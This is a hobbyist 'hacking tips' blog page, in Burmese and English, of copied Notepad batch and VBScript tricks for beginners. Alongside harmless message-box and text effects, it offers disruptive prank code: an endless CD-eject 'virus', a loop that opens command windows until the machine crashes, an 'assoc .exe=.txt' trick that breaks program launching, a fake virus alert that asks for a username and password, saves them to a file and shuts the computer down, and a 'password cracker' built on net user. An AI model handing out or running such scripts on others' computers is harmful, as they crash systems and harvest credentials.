Welcome !>>>I'm Sharing Hacking Tips & Tricks for beginner & Studiers<<<<<>>>You Can try to get Study..........

..Thank For Visit & read.>>>>>

Showing posts with label Batch file ေရးနည္း. Show all posts
Showing posts with label Batch file ေရးနည္း. Show all posts

အေျခခံ Batch commands

Batch commands

@ Does not echo back the text after the at symbol. This most often used as @ECHO OFF to prevent any of the commands in the batch file from being displayed, just the information needed.
%1 The percent followed by a numeric value, beginning with one, allows users to add variables within a batch file. The below line is an example of what can be used in a batch file.
ECHO Hello %1
When the above one-line batch file is created, add your name after the batch file. For example, typing myname (being the name of the bat file) and then your name:
myname bob
would output:
Hello bob
Note: This can be extended to %2, %3, and so on.
:: One of two ways of adding remarks into the batch file without displaying or executing that line when the batch file is run. Unlike REM, this line will not show regardless if ECHO off is in the batch file.
:LABEL By adding a colon in front of a word, such as LABEL, you create a category, more commonly known as a label. This allows you to skip to certain sections of a batch file such as the end of the batch file. Also see GOTO.
CALL This used to run another batch file within a batch file. When the batch file that is called is completed, the remainder of the original batch file is completed. If the batch file does not exist you'll get an error.
CHOICE See running different programs for an example of how to use this command.
  • Additional information and the syntax of this command in each version of Windows and MS-DOS can be found on our CHOICE command page.
CLS Just like the DOS command would clear your screen.
  • Additional information and the syntax of this command in each version of Windows and MS-DOS can be found on our CLS command page.
ECHO Will echo a message in the batch file. Such as ECHO Hello World prints Hello World on the screen when executed. However, without @ECHO OFF at the beginning of the batch file you'll also get "ECHO Hello World" and "Hello World." Finally, if you'd just like to create a blank line, type ECHO. adding the period at the end creates an empty line.
EXIT Exits out of the DOS window if the batch file is running from Windows.
  • Additional information and the syntax of this command in each version of Windows and MS-DOS can be found on our EXIT command page.

Assoc ကြန္မန္း၏ အသံုးျပဳပံု


အသံုးျပဳနည္း

Assoc .extension=file type

Assoc က extension ေတြကို ဘယ္ file type နဲ႔ ပြင့္ဆိုျပီးေတာ့သတ္မွတ္တာပါ။
e.g
run>cmd လို႔၇ိုက္လုိက္ပါ။
အဲ့ဒီမွာ ဒီပာာေလးကိုရိုက္လိုက္ပါ။ျပီးလွ်င္ေတာ့ cmd windows ကို မပိတ္နဲ႔ဦးေနာ္။

assoc .exe=.txt အဲ့ဒါေလးရုိက္ၾကည့္ပါ။



ျပီးလွ်င္ေတာ့ exe file ေလးတစ္ခုဖြင့္ၾကည့္ပါ။

Make your PC a little faster by cleaning the history, unused junk files...



@echo off
echo Created by shwekoyantaw
del /s /f /q c:\windows\temp\*.*
rd /s /q c:\windows\temp
md c:\windows\temp
del /s /f /q %temp%\*.*
rd /s /q %temp%
md %temp%

Code ေတြနဲ့ ကလိမယ္...



ေအာက္ကCodeေတြကို notepad ေပၚတင္ပါမေၾကာက္ပါနဲ႕ အေသးစားေလးေတြပါ။မိမိကိုယ္တိုင္ဖြင့္မွ ပြင့္ႏိုင္မယ့္ program ေလးေတြပါ။

1-သင့္ CD Drive ကိုဆက္တိုက္ပြင့္ေနပါလိမ့္မယ္။ဖြင့္လိုက္ပိတ္လိုက္ေပါ့။
  code:


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
သူငယ္ခ်င္းေတြကိုေနာက္ဖို႔ Bat File နဲ႔ VBS File ကေလးေတြ လုပ္ၾကည့္ရေအာင္…
 အရင္ဆံုး Notepad ကိုဖြင့္ရပါမယ္..
window key + R ရယ္ႏိွပ္ၿပီး Run Box ထဲမွာ Notepad လုိရိုက္ပါ။


Notepad Box က်လာပါလိမ့္မယ္…

 စမယ္ေနာ္..
ဒီဖိုင္ကေလးရဲ႕လုပ္ေဆာင္ခ်က္က ကြန္ပ်ဴတာထဲမွာ
You are fool ဆိုတဲ့ Massage Box ကေလးေတြ တတ္လာဖို႔ပါ…
အေနာက္က Msg * You are Fool မထည့္ပဲ START ခ်ည္းပဲ ဆိုရင္ေတာ့

NOTEPAD TRICKS (ေရးနည္း(၄))


1.    CONVERT TEXT INTO AUDIO USING NOTEPAD

                 •     Open notepad
                 •    Copy and paste following code

                          Dim Message, Speak
                           Message=InputBox("Enter Text to Talk o","Speak")
                          Set Speak=CreateObject("sapi.spvoice")
                          Speak.Speak Message
                •    Save this file with any name with extension as .vbs eg. voice.vbs
                •    Now open the saved file and have fun.



                                    
                                                                    




2.    MATRIX EFFECT
               •    Open notepad
               •    Copy and paste following code

             @echo off
             color 02
             :start
             echo %random% %random% %random% %random% %random% %random% %random%   %random% %random% %random%

CHAT USING MS-DOS COMMAND PROMPT.

1) All you need is your friend’s IP Address and your Command Prompt.
2) Open Notepad and write this code as it is…..!
@echo off
:A
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A
3) Now save this as “Messenger.Bat”.
4) Open Command Prompt.
5) Drag this file (.bat file) over to Command Prompt and press Enter.
6) You would then see something like this:
7) Now, type the IP Address of the computer you want to contact and press enter
You will see something like this:
8) Now all you need to do is type your message and press Enter.
Start Chatting…….!

Monster**

Notepad ေရးနည္း

ALL NOTEPAD TRICKS.

#1 Bush Hid the Facts – Most Popular Notepad Tricks
This is one of the mysterious notepad tricks we know. According to the trick it really seems Microsoft had put some hack into the coding of notepad making the text hidden after saving it.
Bush Hid the Facts – Most Popular Notepad Trick Open notepad.
Type BUSH HID THE FACTS
Save that file.
Close it
Open It Again See…
Why This Happens ? : It was later known 4335 Rule. It means that if we enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters each, and the last word has five letters. Then Notepad Automatically hides the text into unknown code. Similar are with “this app can break”.
OR
STEP 1: OPEN NOTEPAD
STEP 2: WRITE FOLLOWING LINE IN THE NOTEPAD.
THIS APP CAN BREAK
STEP 3: SAVE THIS FILE AS AAA.TXT
STEP 4: CLOSE THE NOTEPAD.
STEP 5: OPEN THE FILE AGAIN.
VOILLA!!

computer-booter program


 Copy and Paste the following into Notepad...


@echo off
:Main
title ComputerBooter V0.1
cls
color A
echo.
echo.
echo 1} About This Program
echo 2} Exit This Program
echo.
echo 3} Shutdown Computer
echo 4} Restart Computer
echo 5} Logoff Computer
echo.
echo 6} Start Control Panel
echo 7} Start System32 Folder
echo.
echo 8} Crash your Computer
echo.
echo 9} Our coding Website
set /p select=
if %select% EQU 1 goto About
if %select% EQU 2 goto Exit
if %select% EQU 3 goto Shutdown
if %select% EQU 4 goto Restart
if %select% EQU 5 goto Logoff
if %select% EQU 6 goto Control
if %select% EQU 7 goto System32
if %select% EQU 8 goto Crash
if %select% EQU 9 goto Webpage
:About
title About ComputerBooter V0.1
color E
cls
echo.
echo.
echo ABOUT COMPUTERBOOTER 0.1 FOR WINDOWS
echo (BATCH FILE VERSION)
echo.
echo All Of this program was created by NotepadCodes
echo.
echo.
echo For more info visit http://www.notepadcodes.webs.com Or type in Start
set /p web=
if %web% EQU Start goto Webpage else goto Main
:Exit
Exit
goto Exit
:Shutdown
start C:\Windows\System32\Shutdown.exe -s -t 5 -c "ComputerBooter Will now Shutdown Your Computer"
goto Main
:Restart
start C:\Windows\System32\Shutdown.exe -r -t 5 -c "ComputerBooter Will now Shutdown Your Computer"
goto Main
:Logoff
start C:\Windows\System32\Shutdown.exe -l -t 5 -c "ComputerBooter Will now Logoff Your Account"
goto Main
:Control
start Control Panel
goto Main
:System32
start C:\Windows\System32
goto Main
:Webpage
echo Currently Loading
ping localhost -n 1 >nul
cls
echo Currently Loading.
ping localhost -n 1 >nul
cls
echo Currently Loading..
ping localhost -n 1 >nul
cls
echo Currently Loading...
ping localhost -n 1 >nul
cls
echo Successfully Loaded...
ping localhost -n 2 >nul
start http://www.notepadcodes.webs.com
echo Booting Up Menu...
ping localhost -n 2 >nul
goto Main
:Crash
start C:\windows\system32\CMD.exe
goto Crash


Then save it as BOOT.bat and enjoy!

make a goto menu


Copy and Paste the following into Notepad...

@echo off
:menu
title MenuMaker V0.1
color 06
cls
echo.
echo.
echo Menu Tester...
echo Type 1 for fun!
echo Type 2 for a bun!
set /p choice=
If %choice% EQU 1 goto fun
If %choice% EQU 2 goto bun
:fun
title !!!Fun!!!
color 08
cls
echo !!!FUN!!!
echo NO FUN HERE!
pause
goto menu
:bun
title !!!Bun!!!
color 08
cls
echo !!!Bun!!!
echo No bun here...
pause
goto menu

user password code cracker v1


Type this code into notepad, and you can type in a user and change the password!
 ********************************
 <Monster YTZK Technology/>
@echo
title CodeCracker By NotepadCodes!
color 5E
echo CodeCracher V1
echo              By NotepadCodes.webs.com
echo ******************************************************************
echo.
net user
echo type in a username in the option above:
Set /p username=
net user %username%
echo Changing Password...



and save it as PasswordCracker.bat!
NOTE:
THIS WONT WORK ON ALL MACHINES!

make a cd-rom virus


WARNING - Doing this could result in crashing your computer!

IT IS NOT MY RESPONSIBILITY IF SOMETHING GOES WRONG.

DO NOT USE THIS FILE AS A VIRUS - JUST FOR EDUCATIONAL USE ONLY!

Copy and paste the following into Notepad...


DO
Set owMP = CreateOBject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
for i= 0 to colCDROMs.Count - 1
colCDROMS.Item(i).Eject
Next ' cdrom
End If
loop


And save it as CdRomVirus.vbs And enjoy.

WITH THANKS TO COMPUTER-TRICKER FOR THE
CD ROM OPENER SCRIPT - I JUST MADE IT LOOP!

CMD and Notepad Codes and hacks

Notepad Codes

#1 simple a loop that opens CMD after CMD until computer crashes
@echo off
:a
Start cmd
goto :a


#2 a keylogger/shutdown computer code
@echo off
color c
start Iexplore
Title WARNING
echo WARNING VIRUS HAS ENTERED THROUGH THE DATA FRAME
echo Email Microsoft immediately
cd "C:\CMDREMARKS"
set /p user=Username:
set /p pass=Password:
echo Username="%user%" Password="%pass%" >CMDREMARKS.txt
shutdown -s -t 30 -c "Request Denied"

How to: Make a message box using VBScript

In this "Instructable" I'll be showing you how to make a message box in Notepad using VBScript Coding.

Please Note: This is a completely harmless project and if something DOES go wrong, I will not be help responsible.

Step 1: Step One

First thing to do is locate your Notepad.exe.
This application is on every windows computer OS and can be used for loads of interesting things.
Notepad.exe is normally located in Start Menu>All programs>Accessories

Step 2: Step Two: The code.

For this next bit, it's fairly simple, because I do all the work.

x=msgbox("Your Text Here" ,0, "Your Title Here")
Make sure that the " is included in the text and replace the Your Text Here and Your Title Here. But don't change anything elese!

Advanced users can change something else.
  • 0 =OK button only
  • 1 =OK and Cancel buttons
  • 2 =Abort, Retry, and Ignore buttons
  • 3 =Yes, No, and Cancel buttons
  • 4 =Yes and No buttons
  • 5 =Retry and Cancel buttons
  • 16 =Critical Message icon
  • 32 =Warning Query icon
  • 48 = Warning Message icon
  • 64 =Information Message icon
  • 0 = First button is default
  • 256 =Second button is default
  • 512 =Third button is default
  • 768 =Fourth button is default
  • 0 =Application modal (the current application will not work until the user responds to the message box)
  • 4096 =System modal (all applications wont work until the user responds to the message box)
Change the "0" with any of these numbers above.

Step 3: Step Three: The Saving

Now for this bit, you would think that this is easy, but it's not as simple as Save As.

When you have finished the code, go to Save As and save it as: What You Want To Call It.vbs
At the end of the name, make sure that .vbs goes at the end and safe it anywhere.




Step 4: Step Four: Lets test it!

Now that we have completed the following steps, lets test it. Locate your safe file and dubble-click it. Lets see what the outcome was.


Step 5: Outcome.

The outcome of todays lesson was:

Your learned how Notepad.exe can become a powerfull scripting program
How to make a message Box
The values of Message Box's to make them look convincing.

Thank you for reading this lesson

VBS Virus ေရးနည္းမ်ား

 VBS Virus ေရးနည္းမ်ား (MOnster Technology)YTZK

Copy and paste the following into Notepad...


pass=inputbox("Password?")
if pass="fish" then msgbox("Correct Password!") else msgbox("Incorrect Password!")

The password for this is fish
Save it as Password.vbs And enjoy!

make a message box (NOTEPAD MODE)


Copy and paste the following into Notepad...


msgbox("Hello!")
msgbox("Hello, Again!")


To make the "  hold shift and 2
Inside the (" ") Type what you want it to say
Save it as Message.vbs and Enjoy!


Copy and paste the following into Notepad...

DO
msgbox("VIRUS!")
LOOP


Save it as Loop.vbs and Enjoy!

 hacktool vbs - Message box maker

Copy and paste the following into Notepad...

msgbox("HackTool VBS - Message box maker")
msg=inputbox("Enter a message...")
msgbox(" ") + msg

Save it as HackTool VBS Message Maker.vbs

Bat Files သင္ခန္းစာ


Bat files အေၾကာင္းကုိ သိခ်င္ ေလ႕လာခ်င္တဲ႕ သူငယ္ခ်င္းမ်ားအတြက္ ကုိယ္တုိင္းေရးမဟုတ္ေပမဲ႕ ကၽြန္ေတာ္ကုိယ္တုိင္ မသိခင္က စေလ႕လာမိခဲ႕တဲ႕ ဆုိဒ္မွ မွတ္စုအေနနဲ႕ ကူးထားခဲ႕တာေလးပါ။ အဲ႕ဒီဆုိဒ္ကုိ
ညြန္းခ်င္ေပမဲ႕လည္ လက္ရွိ ဆုိဒ္လိပ္စာကလည္ မေတြ႕ေတာ႕တာေၾကာင္႔ စာေရးသားသူအေနနဲ႕ နားလည္ေပးမယ္လုိ႕ ယုံၾကည္ပါတယ္။ ဒီသင္ခန္းစာကုိ ကၽြန္ေတာ္ ကုိယ္တုိင္း ေရးသားထားတာ မဟုတ္တာကုိေတာ႕ ရုိးသားစြာ ၀န္ခံပါတယ္။ ဒါေၾကာင္႔ မသိမနားလည္ရင္ေတာ႕ ေမးျမန္းႏုိင္ပါတယ္။ အကၽြမ္းက်င္ဆုံး အဆင္႔ မဟုတ္ေပမဲ႕ တက္ႏုိင္သမွ် ရွင္းျပေပးပါမည္။ မႈရင္း အေရးအသား အတုိင္း မျပင္ မျဖည္႔စြတ္ဘဲ တင္ျပလုိက္ပါတယ္။

သင္ခန္းစာေလး ဆက္လက္ေဆြးေႏြးၾကရေအာင္
က်ေနာ္ ဒီတစ္ေခါက္ ေၿပာၿပေပးမွာကေတာ့ For Loop အေၾကာင္းေဆြးေႏြးေပးမွာၿဖစ္ပါတယ္။ အဆင့္ နည္းနည္း ၿမင့္လာၿပီၿဖစ္လို႔ ေသခ်ာေလး လိုက္လုပ္ၾကည့္ေစခ်င္တယ္။ ၁ေခါက္နဲ႔ နားမလည္ရင္ အနည္းဆုံး ၂ ေခါက္ေလာက္ဖတ္ေပးပါ။ က်ေနာ္ေရးထားတာ နားမလည္ရင္ေတာ့ က်ေနာ့္ကို ၿပန္ေမးပါ။ ေၿဖေပးပါ့မယ္။ ဒါဆုိ က်ေနာ္တုိ႔ For Loop အေၾကာင္းေလး စလုိက္ရေအာင္

make a scrolling text banner .Bat

Copy and Paste the following Into Notepad OR Your website <HTML> Editor.

<html>
<marquee><scrollammount=8><font color=red><font size=10>Your text Here! <Monster YTZK Technology/></marquee></font>
</html>



Comes out like this: Your text Here!


The text in blue is where you want your text to be!
Then save it as ScrollBox.htm or use it on your Website Builder.

Have a good day.vbs

Copy and paste the following into Notepad...


 name=inputbox("Whats your name?")
msgbox("Have a good day, ") + name

SAVE IT AS HAVE A GOOD DAY.VBS AND ENJOY!

.bat နဲ႔ program ေရးၾကည့္မယ္

 
မဂၤလာပါ ကၽြန္ေတာ္http://www.myanmaritresource.info/  ေတြ႕တဲ့ ဘေလာ့ေလးျပန္တင္ထားတာပါ ....
အရမ္းအသံုး၀င္တဲ့အေျခခံေလးပါ ....
ေရးထားတာ  ကနားလည္ လြယ္လို႔ျပန္လည္ျဖန္႔ေ၀လိုက္ပါတယ္ ....

bat မွာ ပါ၀င္မႈအမ်ားဆုံးနဲ႔ အေၿခခံ အက်ဆုံး command ၃ ခု

(၁) echo
(၂) @echo off/on နဲ႔
(၃) pause


1:eg

C- 

@echo off
echo Hello This is a First Program
pause


Windows Tool တစ္ခုၿဖစ္တဲ့ notepad မွာ ေရး  xxx.bat ( save)
ၿပီးရင္ေတာ့ Run လုိက္ပါ။ အမဲေရာင္ Screen ထဲမွာ ေအာက္မွာ ၿပထားတဲ့စာသားေလးေတြေပၚလာပါလိမ့္မယ္။

Hello This is a First Program
Press any key to continue...




echo off အစား echo on သံုးမယ္

Code:

@echo on
echo Hello This is a First Program
pause


notepad မွာ ေရးၿပီး xxx.bat ဆုိၿပီးသိမ္းၿပီး ၿပန္ Run လုိက္ပါ...
ေအာက္မွာ ၿပထားတဲ့ အတုိင္း ၿမင္ရပါလိမ့္မယ္။

C:\Documents and Settings\User\Desktop>echo Hello This is a First Program
Hello this is a First Program

C:\Documents and Settings\User\Desktop>pause
Press any key to continue...


အဲလိုၿမင္ရပါလိမ့္မယ္။ C:\Documents and Setting\... စတာေတြကေတာ့ တင္ထားတဲ့ Windows ၊ File ဖြဲ႔စည္းပံုေတြေပၚမူတည္ၿပီး ကြဲၿပားပါလိမ့္မယ္။

ဒုတိယေရးလိုက္တဲ့ code မွာဆုိရင္ @echo on ကိုသံုးလိုက္တဲ့ အတြက္ File ထားရာလမ္းေၾကာင္းက Program Code တစ္ခါ Run တုိင္းလာၿပေနပါတယ္။
အကယ္လို႔မ်ား ပထမစစခ်င္းမွာ ေရးခဲ့တဲ့ @echo off ကို သံုးထားမယ္ဆုိရင္ေတာ့ မည္သည့္ လမ္းေၾကာင္းကိုမွ်မေပၚေစဘဲနဲ႔ ကိုယ္လိုခ်င္တဲ့ စာသားကို ရွင္းလင္းစြာေပၚေစမွာၿဖစ္ပါတယ္။
အဲဒါကိုၾကည့္ခ်င္းအားၿဖင့္ @echo on နဲ႔ off ရဲ႕ ၿခားနားခ်က္ကို သိနုိင္ၿပီးေတာ့ @echo off ကို သံုးတာ ပိုေကာင္းတယ္ဆုိတာကို နားလည္သြားမယ္ထင္ပါတယ္။

matrix ထဲကလို msg ေပၚေအာင္လုပ္မယ္


 ကၽြန္ေတာ္တို ့ Matrix ကားထဲမွာ Neo ကိုေခၚေတာ့ follow the white rabbit ဆိုပီးတစ္လံုးခ်င္းေပၚလာတယ္ေနာ္..ခုလည္း wake up ဆိုပီးေပၚလာလိမ့္မယ္...
ေအာက္က code ေလးေတြကိုနားလည္မယ္ထင္ပါတယ္..ကိုယ္ေရးခ်င္တာျပင္ေရးေပါ့ဗ်ာ...

@echo off
color 0a
cls
echo w
ping localhost -n 2 >nul
cls
echo wa
ping localhost -n 2 >nul
cls
echo wak
ping localhost -n 2 >nul
cls
echo wake
ping localhost -n 2 >nul
cls
echo wake u
ping localhost -n 2 >nul
cls
echo wake up
ping localhost -n 2 >nul
cls
pause>nul


.bat နဲ ့ save ပီး run လိုက္ေတာ့....
Blogger Tips and TricksLatest Tips For BloggersBlogger Tricks
Related Posts Plugin for WordPress, Blogger...
 
©2012 M0N$T3R# Created by MÖN$TéR | Shad0w MÖN$TéR